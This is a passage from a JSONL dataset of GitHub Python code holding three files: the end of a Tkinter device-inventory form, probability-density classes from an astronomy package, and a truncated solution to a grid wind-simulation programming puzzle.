self.DeviceNATIPAddressFrameLabel.place(x=925, y=190)\r\n                    self.DeviceNATIPAddressFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceNATIPAddressFrameEntry['width']=17\r\n                    self.DeviceNATIPAddressFrameEntry.place(x=1040, y=190)\r\n                    self.DeviceNATIPAddressFrameEntry['state'] = DISABLED\r\n                    self.DeviceNATIPAddressFrameEntry.bind(\"<Double-1>\", self.Get_NAT_IPAddress)\r\n\r\n                    self.DeviceMgmtIPAddressFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceMgmtIPAddressFrameLabel[\"text\"] = \"Mgmt. IP Address:\"\r\n                    self.DeviceMgmtIPAddressFrameLabel.place(x=925, y=220)\r\n                    self.DeviceMgmtIPAddressFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceMgmtIPAddressFrameEntry['width']=17\r\n                    self.DeviceMgmtIPAddressFrameEntry.place(x=1040, y=220)\r\n                    self.DeviceMgmtIPAddressFrameEntry['state'] = DISABLED\r\n                    self.DeviceMgmtIPAddressFrameEntry.bind(\"<Double-1>\", self.Get_Mgmt_IPAddress)\r\n                  \r\n                    self.DeviceICMPCapableFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceICMPCapableFrameLabel[\"text\"] = \"ICMP Capable:\"\r\n                    self.DeviceICMPCapableFrameLabel.place(x=925, y=250)\r\n                    self.DeviceComboBoxICMPCapable = ttk.Combobox(self.DeviceFrame, state='disabled', width = 14)\r\n                    self.DeviceComboBoxICMPCapable.place(x = 1040, y = 250)\r\n\r\n                    self.DeviceICMPMonitorFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceICMPMonitorFrameLabel[\"text\"] = \"Monitor Via ICMP:\"\r\n                    self.DeviceICMPMonitorFrameLabel.place(x=925, y=280)\r\n                    self.DeviceComboBoxICMPMonitor = ttk.Combobox(self.DeviceFrame, state='disabled', width = 14)\r\n                    self.DeviceComboBoxICMPMonitor.place(x = 1040, y = 280)\r\n\r\n                    self.DeviceLastICMPDateFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceLastICMPDateFrameLabel[\"text\"] = \"Last ICMP on:\"\r\n                    self.DeviceLastICMPDateFrameLabel.place(x=925, y=310)\r\n                    self.DeviceLastICMPDateFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceLastICMPDateFrameEntry['width']=17\r\n                    self.DeviceLastICMPDateFrameEntry.place(x=1040, y=310)\r\n                    self.DeviceLastICMPDateFrameEntry['state'] = DISABLED\r\n\r\n                    self.DeviceLastICMPStatusFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceLastICMPStatusFrameLabel[\"text\"] = \"Was:\"\r\n                    self.DeviceLastICMPStatusFrameLabel.place(x=1150, y=310)\r\n                    self.DeviceLastICMPStatusFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceLastICMPStatusFrameEntry['width']=22\r\n                    self.DeviceLastICMPStatusFrameEntry.place(x=1190, y=310)\r\n                    self.DeviceLastICMPStatusFrameEntry['state'] = DISABLED\r\n\r\n                    self.DeviceLastCMDBStatusFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceLastCMDBStatusFrameLabel[\"text\"] = \"CMDB Last Update:\"\r\n                    self.DeviceLastCMDBStatusFrameLabel.place(x=625, y=310)\r\n                    self.DeviceLastCMDBStatusFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceLastCMDBStatusFrameEntry['width']=17\r\n                    self.DeviceLastCMDBStatusFrameEntry.place(x=750, y=310)\r\n                    self.DeviceLastCMDBStatusFrameEntry['state'] = DISABLED\r\n                    \r\n                    ##########################################\r\n\r\n                    # Setup Labels and Button Calendars Installed, Activated, Disconnected\r\n                    self.DeviceInstalledDateFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceInstalledDateFrameLabel[\"text\"] = \"Install or Buy Date:\" #\"Installed Date:\"\r\n                    self.DeviceInstalledDateFrameLabel.place(x=10, y=220)\r\n                    self.DeviceInstalledDateFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceInstalledDateFrameEntry['width']=20\r\n                    self.DeviceInstalledDateFrameEntry.place(x=130, y=220)\r\n                    self.DeviceInstalledDateFrameEntry['state'] = DISABLED\r\n                    self.DeviceButtonInstalledDate = Button(self.DeviceFrame, text = 'Calendar', command = self.Call_Button_Installed_Date, state=DISABLED)\r\n                    self.DeviceButtonInstalledDate.place(x = 260 , y = 217, width=75, height=25)\r\n\r\n                    self.DeviceContractNoFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceContractNoFrameLabel[\"text\"] = \"Contract No:\"\r\n                    self.DeviceContractNoFrameLabel.place(x=430, y=220)\r\n                    self.DeviceContractNoFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceContractNoFrameEntry['width']=17\r\n                    self.DeviceContractNoFrameEntry.place(x=510, y=220)\r\n                    self.DeviceContractNoFrameEntry['state'] = DISABLED\r\n\r\n                    self.DeviceExpirationDateFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceExpirationDateFrameLabel[\"text\"] = \"Expiration Date:\"\r\n                    self.DeviceExpirationDateFrameLabel.place(x=625, y=220)\r\n                    self.DeviceExpirationDateFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceExpirationDateFrameEntry['width']=15\r\n                    self.DeviceExpirationDateFrameEntry.place(x=725, y=220)\r\n                    self.DeviceExpirationDateFrameEntry['state'] = DISABLED\r\n                    self.DeviceButtonExpirationDate = Button(self.DeviceFrame, text = 'Calendar', command = self.Call_Button_Expiration_Date, state=DISABLED)\r\n                    self.DeviceButtonExpirationDate.place(x = 825 , y = 217, width=75, height=25)\r\n\r\n                    self.DeviceActivatedDateFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceActivatedDateFrameLabel[\"text\"] = \"Activated Date:\"\r\n                    self.DeviceActivatedDateFrameLabel.place(x=10, y=250)\r\n                    self.DeviceActivatedDateFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceActivatedDateFrameEntry['width']=20\r\n                    self.DeviceActivatedDateFrameEntry.place(x=130, y=250)\r\n                    self.DeviceActivatedDateFrameEntry['state'] = DISABLED\r\n                    self.DeviceButtonActivatedDate = Button(self.DeviceFrame, text = 'Calendar', command = self.Call_Button_Activated_Date, state=DISABLED)\r\n                    self.DeviceButtonActivatedDate.place(x = 260 , y = 247, width=75, height=25)\r\n\r\n                    self.DeviceSerialNoFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceSerialNoFrameLabel[\"text\"] = \"Serial No:\"\r\n                    self.DeviceSerialNoFrameLabel.place(x=430, y=250)\r\n                    self.DeviceSerialNoFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceSerialNoFrameEntry['width']=17\r\n                    self.DeviceSerialNoFrameEntry.place(x=510, y=250)\r\n                    self.DeviceSerialNoFrameEntry['state'] = DISABLED\r\n\r\n                    self.DeviceMACAddressFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceMACAddressFrameLabel[\"text\"] = \"MAC Address:\"\r\n                    self.DeviceMACAddressFrameLabel.place(x=625, y=250)\r\n                    self.DeviceMACAddressFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceMACAddressFrameEntry['width']=20\r\n                    self.DeviceMACAddressFrameEntry.place(x=725, y=250)\r\n                    self.DeviceMACAddressFrameEntry['state'] = DISABLED\r\n\r\n                    self.DeviceDisconnectedDateFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceDisconnectedDateFrameLabel[\"text\"] = \"Disconnected Date:\"\r\n                    self.DeviceDisconnectedDateFrameLabel.place(x=10, y=280)\r\n                    self.DeviceDisconnectedDateFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceDisconnectedDateFrameEntry['width']=20\r\n                    self.DeviceDisconnectedDateFrameEntry.place(x=130, y=280)\r\n                    self.DeviceDisconnectedDateFrameEntry['state'] = DISABLED\r\n                    self.DeviceButtonDisconnectedDate = Button(self.DeviceFrame, text = 'Calendar', command = self.Call_Button_Disconnected_Date, state=DISABLED)\r\n                    self.DeviceButtonDisconnectedDate.place(x = 260 , y = 277, width=75, height=25)\r\n\r\n                    self.DeviceOutSourceCostFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceOutSourceCostFrameLabel[\"text\"] = \"Outsource $:\"\r\n                    self.DeviceOutSourceCostFrameLabel.place(x=430, y=280)\r\n                    self.DeviceOutSourceCostFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceOutSourceCostFrameEntry['width']=17\r\n                    self.DeviceOutSourceCostFrameEntry.place(x=510, y=280)\r\n                    self.DeviceOutSourceCostFrameEntry['state'] = DISABLED\r\n\r\n                    self.DeviceMaintenanceCostFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceMaintenanceCostFrameLabel[\"text\"] = \"Maintenance $:\"\r\n                    self.DeviceMaintenanceCostFrameLabel.place(x=625, y=280)\r\n                    self.DeviceMaintenanceCostFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceMaintenanceCostFrameEntry['width']=20\r\n                    self.DeviceMaintenanceCostFrameEntry.place(x=725, y=280)\r\n                    self.DeviceMaintenanceCostFrameEntry['state'] = DISABLED\r\n\r\n                    self.DeviceNotesFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceNotesFrameLabel[\"text\"] = \"NOTES:\"\r\n                    self.DeviceNotesFrameLabel.place(x=10, y=310)\r\n                    self.DeviceNotesFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceNotesFrameEntry['width']=80\r\n                    self.DeviceNotesFrameEntry.place(x=130, y=310)\r\n                    self.DeviceNotesFrameEntry['state']=DISABLED\r\n\r\n                    \r\n                    #------------------ TREE VIEW For Device Database <BEGIN> -----------------------------------\r\n                    # Create Tree and Scrollbars                            \r\n                    self.DeviceTreeviewDataColumns = ('Device Name','Description','Type','Model','IP Address',\r\n                                                       'OutSrc. Cost','Mnt. Cost','Installed',\r\n                                                       'Activated','Disconected','Status','Contract No','Expiration',\r\n                                                       'Serial No.','Added By')\r\n                    \r\n                    self.DeviceTreeview = ttk.Treeview(self.DeviceFrame,columns=self.DeviceTreeviewDataColumns, height=14) # <--- Make sure the frame is correct !!\r\n                    self.DeviceTreeviewysb = Scrollbar(self.DeviceFrame,orient=VERTICAL, command=self.DeviceTreeview.yview)           # <--- Make sure the frame is correct !!\r\n                    self.DeviceTreeviewxsb = Scrollbar(self.DeviceFrame,orient=HORIZONTAL, command=self.DeviceTreeview.xview)         # <--- Make sure the frame is correct !!\r\n                    self.DeviceTreeview['yscroll'] = self.DeviceTreeviewysb.set\r\n                    self.DeviceTreeview['xscroll'] = self.DeviceTreeviewxsb.set\r\n\r\n                    # setup headings and column \r\n                    self.DeviceTreeview.heading('#0', text='Item No.',      anchor=W) # E for East and W for West and CENTER\r\n                    self.DeviceTreeview.heading('#1', text='Device Name',   anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Device Name', False)) # E for East and W for West\r\n                    self.DeviceTreeview.heading('#2', text='Description',   anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Description', False)) # E for East and W for West\r\n                    self.DeviceTreeview.heading('#3', text='Type', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Type', False)) # E for East and W for West\r\n                    self.DeviceTreeview.heading('#4', text='Model', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Model', False)) # E for East and W for West\r\n                    self.DeviceTreeview.heading('#5', text='IP Address', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'IP Address', False))\r\n                    self.DeviceTreeview.heading('#6', text='OutSrc. Cost', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'OutSrc. Cost', False))\r\n                    self.DeviceTreeview.heading('#7', text='Mnt. Cost', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Mnt. Cost', False))\r\n                    self.DeviceTreeview.heading('#8', text='Installed', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Installed', False))\r\n                    self.DeviceTreeview.heading('#9', text='Activated', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Activated', False))\r\n                    self.DeviceTreeview.heading('#10', text='Disconected', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Disconected', False))\r\n                    self.DeviceTreeview.heading('#11', text='Status', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Status', False))\r\n                    self.DeviceTreeview.heading('#12', text='Contract No', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Contract No', False))\r\n                    self.DeviceTreeview.heading('#13', text='Expiration', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Expiration', False))\r\n                    self.DeviceTreeview.heading('#14', text='Serial No.', anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Serial No.', False))\r\n                    self.DeviceTreeview.heading('#15', text='Added By',     anchor=W,command=lambda: self.treeview_sort_column(self.DeviceTreeview, 'Added By', False)) \r\n                    \r\n                    self.DeviceTreeview.column('#0', stretch=1, width=3 , anchor=W)\r\n                    self.DeviceTreeview.column('#1', stretch=1, width=10, anchor=W)\r\n                    self.DeviceTreeview.column('#2', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#3', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#4', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#5', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#6', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#7', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#8', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#9', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#10', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#11', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#12', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#13', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#14', stretch=1, width=10)\r\n                    self.DeviceTreeview.column('#15', stretch=1, width=10)\r\n\r\n                    # add tree and scrollbars to frame\r\n                    self.DeviceTreeview.grid(row=1, column=0, sticky=NSEW)\r\n                    self.DeviceTreeviewysb.grid(row=1, column=1, sticky=NS)\r\n                    self.DeviceTreeviewxsb.grid(row=2, column=0, sticky=EW)\r\n\r\n\r\n                    # create fonts and tags\r\n                    # Use later to mark Business Units per color.\r\n                    self.DeviceTreeview.tag_configure('None', font=('Helvetica', 8), background='gray1')\r\n                    #self.DeviceTreeview.tag_configure('production', font=('Helvetica', 8), background='green2')\r\n                    self.DeviceTreeview.tag_configure('obsoleted', font=('Helvetica', 8), background='ivory3') # 'red'\r\n                    self.DeviceTreeview.tag_configure('obsolete', font=('Helvetica', 8), background='ivory3')  # 'red'\r\n                    self.DeviceTreeview.tag_configure('implementation', font=('Helvetica', 8), background='green3')\r\n                    self.DeviceTreeview.tag_configure('pre-production', font=('Helvetica', 8), background='yellow2')\r\n                    self.DeviceTreeview.tag_configure('up', font=('Helvetica', 8), background='green2')\r\n                    self.DeviceTreeview.tag_configure('down', font=('Helvetica', 8), background='pink')\r\n\r\n                   \r\n                    # Bind the double Click\r\n                    self.DeviceTreeview.bind('<ButtonRelease-1>', self.on_Device_Tree_select_click) # When Select the Tree\r\n                    #self.DeviceTreeview.bind(\"<Double-1>\", self.On_Device_Tree_Refresh)         \r\n\r\n                    #------------------ TREE VIEW For Device Database <END> -----------------------------------\r\n\r\n                    # Setup ComboBox\r\n                    self.ComboBoxCoutryID = ttk.Combobox(self.DeviceFrame, state='readonly', width = 50)\r\n                    self.ComboBoxCoutryID.bind(\"<<ComboboxSelected>>\", self.on_country_combo_changed)\r\n                    self.ComboBoxCoutryID.place(x = 110, y = 10)\r\n\r\n                    self.ComboBoxRegionID = ttk.Combobox(self.DeviceFrame, state='disabled', width = 50)\r\n                    self.ComboBoxRegionID.bind(\"<<ComboboxSelected>>\", self.on_region_combo_changed)\r\n                    self.ComboBoxRegionID.place(x = 110, y = 40)\r\n\r\n                    self.ComboBoxFacilityID = ttk.Combobox(self.DeviceFrame, state='disabled', width = 50)\r\n                    self.ComboBoxFacilityID.bind(\"<<ComboboxSelected>>\", self.on_facility_combo_changed)\r\n                    self.ComboBoxFacilityID.place(x = 110, y = 70)\r\n\r\n                    self.ComboBoxSitesID = ttk.Combobox(self.DeviceFrame, state='disabled', width = 50)\r\n                    self.ComboBoxSitesID.bind(\"<<ComboboxSelected>>\", self.on_sites_combo_changed)\r\n                    self.ComboBoxSitesID.place(x = 110, y = 100)\r\n\r\n                    # Get the Type and Models\r\n                    self.Get_Type_Model_and_Satus()\r\n                    if (self.Is_Get_Type_and_Model):\r\n                        if (self.Go_To_Location):\r\n                            self.CountryID_Pre = self.Init_Country\r\n                            self.RegionID_Pre = self.Init_Region\r\n                            self.FacilityID_Pre = self.Init_Facility\r\n                            self.SitesID_Pre = self.Init_Site\r\n                            self.Selection = 'cancel_edit'\r\n                            self.on_Country_Table_Refresh()\r\n                            if (self.sql_querry):\r\n                                self.ComboBoxCoutryID.current(0)            \r\n                                self.on_Region_Table_Refresh()\r\n                                if (self.sql_querry):\r\n                                    self.ComboBoxRegionID.current(0)\r\n                                    self.on_Facility_Table_Refresh()\r\n                                    if (self.sql_querry):\r\n                                        self.ComboBoxFacilityID.current(0)\r\n                                        self.on_Sites_Table_Refresh()\r\n                                        if (self.sql_querry):\r\n                                            self.ComboBoxSitesID.current(0)\r\n                                            self.on_sites_combo_changed(\"event\")\r\n                            self.Selection = 'edit_ok'\r\n                        else:                        \r\n                            self.on_Country_Table_Refresh()\r\n                    #self.db.Disconnect() # No needit for now since the Connection is alrady been done and it is faster.\r\n                    self.DeviceWindow.mainloop()\r\n                #else:\r\n                    #self.db.Disconnect()\r\n            else:\r\n                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                                 message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                           + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                           + self.ODBC_name + \"]\")\r\n\r\ndef Main():\r\n    print (\"Testing the Device Class....:\")\r\n    location = []\r\n    #location = ['UNKNOWN','UNKNOWN','UNKNOWN','UNKNOWN']\r\n    Device = Class_Device(\"BV\",Windows_Scaling,location)\r\n    Device.Display_Device_Window()\r\n\r\n\r\nif __name__ == '__main__':\r\n    Main()\r\n\r\n","repo_name":"jorgeerodriguez/BVAnalytics","sub_path":"Device.py","file_name":"Device.py","file_ext":"py","file_size_in_byte":190175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73036769333","text":"\"\"\" Class for Metallicity PDF\n\"\"\"\nfrom __future__ import print_function, absolute_import, division, unicode_literals\n\nimport warnings\n\nimport numpy as np\nfrom scipy.interpolate import interp1d\n\n\nimport pdb\n\nclass GenericPDF(object):\n    \"\"\"A Class for any PDF\n    \"\"\"\n\n    def __init__(self, x, pdf, parent=None, dx=None, normalize=True):\n        \"\"\"\n        Parameters\n        ----------\n        x : ndarray\n          x-values of the PDF\n          Must be sorted!\n        pdf : ndarray\n          PDF\n        parent : object, optional\n          Parent of the PDF, e.g. an AbsSystem\n        dx : float or ndarray, optional\n          Width of the x 'bins'\n        normalize : bool, optional\n          Normalize the input PDF?\n\n        Returns\n        -------\n        PDF\n        \"\"\"\n        # Tests\n        if x.size != pdf.size:\n            raise IOError(\"x and pdf must have the same size\")\n        # Set\n        self.x = x\n        self.pdf = pdf\n        self.parent = parent\n\n        # dZH\n        if dx is None:\n            dx = self.x - np.roll(self.x,1)\n            dx[0] = dx[1]\n            self.dx = dx\n        else:\n            self.dx = dx\n\n        # Normalize pdf_ZH\n        if normalize:\n            self.normalize()\n        else:\n            warnings.warn(\"Not normalizing the PDF\")\n\n    @property\n    def mean(self):\n        \"\"\" Calculate and return average from the PDF\n\n        Weighted in log-space\n\n        Returns\n        -------\n        mean : float\n        \"\"\"\n        mean = np.sum(self.x*self.pdf*self.dx)\n        return mean\n\n    @property\n    def gmean(self):\n        \"\"\" Calculate and return the geometric mean from the PDF\n\n        Weighted in log-space\n\n        Returns\n        -------\n        mean : float\n        \"\"\"\n        gmean = np.sum((10**self.x)*self.pdf*self.dx)\n        return gmean\n\n    @property\n    def median(self):\n        \"\"\" Calculate and return median ZH from the PDF\n\n        Weighted in log-space\n\n        Returns\n        -------\n        median : float\n        \"\"\"\n        cumsum = np.cumsum(self.pdf*self.dx)\n        # Interpolate\n        fint = interp1d(cumsum, self.x, assume_sorted=True)  # Sorted is important\n        median = float(fint(0.5))\n        return median\n\n    def confidence_limits(self, cl):\n        \"\"\" Calculate the bounds of a given confidence interval\n\n        Spline interpolation is used\n\n        Parameters\n        ----------\n        cl : float\n          Confidence interval, ranging from 0 to 1\n\n        Returns\n        -------\n        x_min, x_max : float, float\n          Bounds corresponding to the input confidence limit\n        \"\"\"\n        if (cl <= 0.) or (cl >= 1):\n            raise IOError(\"cl must range from 0-1\")\n        # Spline the PDF cumulative sum vs ZH\n        cumul = np.cumsum(self.dx*self.pdf)\n        f = interp1d(cumul, self.x, assume_sorted=True)\n        # Caculate\n        frac = (1.- cl) / 2.\n        x_min = float(f(frac))\n        x_max = float(f(1-frac))\n        # Return\n        return x_min, x_max\n\n    def normalize(self):\n        \"\"\" Normalize the PDF\n        \"\"\"\n        #\n        norm = np.sum(self.dx*self.pdf)\n        self.pdf /= norm\n\n    def hist_plot(self, bokeh=False):\n        \"\"\" Simple histogram plot of the PDF\n\n        Parameters\n        ----------\n        bokeh : bool, optional\n          Generate a bokeh plot?\n\n        Returns\n        -------\n\n        \"\"\"\n        if not bokeh:\n            from matplotlib import pyplot as plt\n            # imports\n            try:\n                import seaborn as sns; sns.set_style(\"white\")\n            except:\n                pass\n            # Giddy up\n            plt.clf()\n            plt.bar(self.x-self.dx/2., self.pdf, width=self.dx)\n            plt.xlabel(\"x\")\n            plt.ylabel(\"PDF(x)\")\n            plt.show()\n            plt.close()\n        else:\n            from bokeh.io import show\n            from bokeh.plotting import figure\n            p = figure(plot_width=400, plot_height=400, title='x PDF')\n            p.quad(top=self.pdf, bottom=0, left=self.x-self.dx/2.,\n                   right=self.x+self.dx/2.)\n            p.xaxis.axis_label = 'x'\n            # Show\n            show(p)\n\n    def __add__(self, other):\n        \"\"\" Combine the existing PDF with an input one\n\n        Parameters\n        ----------\n        other : MetallicityPDF\n\n        Returns\n        -------\n        MetallicityPDF\n          The\n\n        \"\"\"\n        # Check that the ZH arrays are identical\n        if not np.allclose(self.x,other.x):\n            raise IOError(\"ZH arrays need to be identical (for now)\")\n        # Add em'\n        new = GenericPDF(self.x, self.pdf+other.pdf, normalize=False)\n        # Return\n        return new\n\n    def __repr__(self):\n        repr = '<{:s}: mean={:g}'.format(self.__class__.__name__, self.mean)\n        try:\n            repr = repr + ', ' + self.parent.name\n        except:\n            pass\n        repr = repr + '>'\n        return repr\n\n\nclass MetallicityPDF(GenericPDF):\n    \"\"\"A Class for a Metallicity PDF\n    \"\"\"\n\n    def __init__(self, ZH, pdf_ZH, parent=None, dZH=None, normalize=True):\n        \"\"\"\n        Parameters\n        ----------\n        ZH : ndarray\n          Values of ZH (log10, typically but not required) where the PDF has been evaluated\n        pdf_ZH : ndarray\n          PDF of the metallicity\n        parent : object, optional\n          Parent of the metalliicty PDF, e.g. an AbsSystem\n        dZH : float or ndarray, optional\n          Width of the ZH 'bins' (log 10)\n        normalize : bool, optional\n          Normalize the input PDF?\n\n        Returns\n        -------\n        MetallicityPDF\n\n        \"\"\"\n        # Tests\n        if ZH.size != pdf_ZH.size:\n            raise IOError(\"ZH and pdf_ZH must have the same size\")\n        # Generate\n        GenericPDF.__init__(self, ZH, pdf_ZH, parent=parent, dx=dZH, normalize=normalize)\n        # Copy a few names\n        self.ZH = self.x\n        self.pdf_ZH = self.pdf\n        self.dZH = self.dx\n\n    @property\n    def meanZH(self):\n        \"\"\" Calculate and return average ZH from the PDF\n\n        Weighted in log-space\n\n        Returns\n        -------\n        meanZH : float\n        \"\"\"\n        return self.mean\n\n    @property\n    def medianZH(self):\n        \"\"\" Calculate and return median ZH from the PDF\n\n        Weighted in log-space\n\n        Returns\n        -------\n        medianZH : float\n        \"\"\"\n        return self.median\n\n    def __add__(self, other):\n        \"\"\" Combine the existing PDF with an input one\n\n        Parameters\n        ----------\n        other : MetallicityPDF\n\n        Returns\n        -------\n        MetallicityPDF\n          The\n\n        \"\"\"\n        # Check that the ZH arrays are identical\n        if not np.allclose(self.ZH,other.ZH):\n            raise IOError(\"ZH arrays need to be identical (for now)\")\n        # Add em'\n        new = MetallicityPDF(self.ZH, self.pdf_ZH+other.pdf_ZH, normalize=False)\n        # Return\n        return new\n\n    def __repr__(self):\n        repr = '<{:s}: meanZH={:g}'.format(self.__class__.__name__, self.meanZH)\n        try:\n            repr = repr + ', ' + self.parent.name\n        except:\n            pass\n        repr = repr + '>'\n        return repr\n\nclass DensityPDF(GenericPDF):\n    \"\"\"A Class for a Density PDF\n    \"\"\"\n\n    def __init__(self, nH, pdf_nH, parent=None, dnH=None, normalize=True):\n        \"\"\"\n        Parameters\n        ----------\n        nH : ndarray\n          Values of nH (log10, typically but not required) where the PDF has been evaluated\n        pdf_nH : ndarray\n          PDF of the nH values\n        parent : object, optional\n          Parent of the metalliicty PDF, e.g. an AbsSystem\n        dnH : float or ndarray, optional\n          Width of the nH 'bins' (log 10)\n        normalize : bool, optional\n          Normalize the input PDF?\n\n        Returns\n        -------\n        MetallicityPDF\n\n        \"\"\"\n        # Tests\n        if nH.size != pdf_nH.size:\n            raise IOError(\"nH and pdf_nH must have the same size\")\n        # Generate\n        GenericPDF.__init__(self, nH, pdf_nH, parent=parent, dx=dnH, normalize=normalize)\n        # Copy a few names\n        self.nH = self.x\n        self.pdf_nH = self.pdf\n        self.dnH = self.dx\n\n    @property\n    def meannH(self):\n        \"\"\" Calculate and return average nH from the PDF\n\n        Weighted in log-space\n\n        Returns\n        -------\n        meannH : float\n        \"\"\"\n        return self.mean\n\n    @property\n    def mediannH(self):\n        \"\"\" Calculate and return median nH from the PDF\n\n        Weighted in log-space\n\n        Returns\n        -------\n        mediannH : float\n        \"\"\"\n        return self.median\n\n    def __add__(self, other):\n        \"\"\" Combine the existing PDF with an input one\n\n        Parameters\n        ----------\n        other : DensityPDF\n\n        Returns\n        -------\n        DensityPDF\n\n        \"\"\"\n        # Check that the nH arrays are identical\n        if not np.allclose(self.nH,other.nH):\n            raise IOError(\"nH arrays need to be identical (for now)\")\n        # Add em'\n        new = DensityPDF(self.nH, self.pdf_nH+other.pdf_nH, normalize=False)\n        # Return\n        return new\n\n    def __repr__(self):\n        repr = '<{:s}: meannH={:g}'.format(self.__class__.__name__, self.meannH)\n        try:\n            repr = repr + ', ' + self.parent.name\n        except:\n            pass\n        repr = repr + '>'\n        return repr\n\n\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/pyigm_pyigm/pyigm-master/pyigm/metallicity/pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":9413,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"1660257636","text":"\"\"\"\nTitle : 학부 연구생 민상\nLink : https://www.acmicpc.net/problem/21922\n\"\"\"\n\nfrom collections import deque\nimport sys\ninput = sys.stdin.readline\nMIIS = lambda: map(int, input().split())\n\n\ndef rotate(x, y, d, stuff):\n    global dx, dy, swap\n    if stuff == 1:\n        if d in (0, 2):\n            return x + dx[d], y + dy[d], d\n        else:\n            d = (d + 2) % 4\n            return x + dx[d], y + dy[d], d\n    elif stuff == 2:\n        if d in (0, 2):\n            d = (d + 2) % 4\n            return x + dx[d], y + dy[d], d\n        else:\n            return x + dx[d], y + dy[d], d\n    elif stuff == 3:\n        d = swap[0][d]\n        return x + dx[d], y + dy[d], d\n    else:\n        d = swap[1][d]\n        return x + dx[d], y + dy[d], d\n\n\nN, M = MIIS()\nlab = [list(MIIS()) for _ in range(N)]\nwind_map = [[0] * M for _ in range(N)]\n\nqueue = deque([])\nfor i in range(N):\n    for j in range(M):\n        if lab[i][j] == 9:\n            wind_map[i][j] = 15\n            queue.extend([(i, j, d) for d in range(4)])\n\ndx, dy = (-1, 0, 1, 0), (0, 1, 0, -1)\nswap = [\n    {0: 1, 1: 0, 2: 3, 3: 2},\n    {0: 3, 1: 2, 2: 1, 3: 0},\n]\nwhile queue:\n    x, y, d = queue.popleft()\n    if 1<= lab[x][y] <= 4:\n        x, y, d = rotate(x, y, d, lab[x][y])\n    else:\n        x, y = x + dx[d], y + dy[d]\n    if 0 <= x < N and 0 <= y < M:\n        if not wind_map[x][y] & 1<<d:\n            wind_map[x][y] |= 1<<d\n            queue.append((x, y, d))\n\ncount = 0\nfor i in range(N):\n    for j in 